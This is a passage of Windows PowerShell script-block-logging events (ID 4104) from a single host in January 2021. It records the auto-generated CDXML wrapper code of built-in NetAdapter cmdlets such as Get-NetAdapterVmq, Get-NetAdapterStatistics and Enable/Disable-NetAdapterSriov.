[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterVmq.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterVmq' -Alias '*'
function Set-NetAdapterVmq
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterVmqSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterVmqSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('BaseG')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint16]
${BaseProcessorGroup},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('BaseN')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[byte]
${BaseProcessorNumber},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Max')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint32]
${MaxProcessors},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('MaxN')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[byte]
${MaxProcessorNumber},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('NumaN')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint16]
${NumaNode},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('BaseProcessorGroup')) {
[object]$__cmdletization_value = ${BasePro
ScriptBlock ID: c4f18d55-48e5-4a1d-a0ed-e1ba61b9bd1f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1877 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-ce28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterStatisticsSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterStatistics
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterStatisticsSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterStatistics.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterStatistics' -Alias '*'
ScriptBlock ID: 753f9822-3429-401a-bf3b-e4ea47ebf654
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1876 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-cb28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterSriovVfSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterSriovVf
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterSriovVfSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[uint32[]]
${SwitchID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('VfID','Id')]
[ValidateNotNull()]
[uint16[]]
${FunctionID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('SwitchID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SwitchID})
$__cmdletization_queryBuilder.FilterByProperty('SwitchID', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('FunctionID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${FunctionID})
$__cmdletization_queryBuilder.FilterByProperty('FunctionID', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterSriovVf.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterSriovVf' -Alias '*'
ScriptBlock ID: 6459168b-37c8-4b57-b286-9c4de2bd084c
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1875 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-c828-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterSriov.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterSriov' -Alias '*'
ScriptBlock ID: eb71f1c8-4309-40b6-8c3e-ee4226073556
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1874 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0000-02ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
ption},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterSriovSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterSriov.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterSriov' -Alias '*'
function Disable-NetAdapterSriov
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterSriovSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
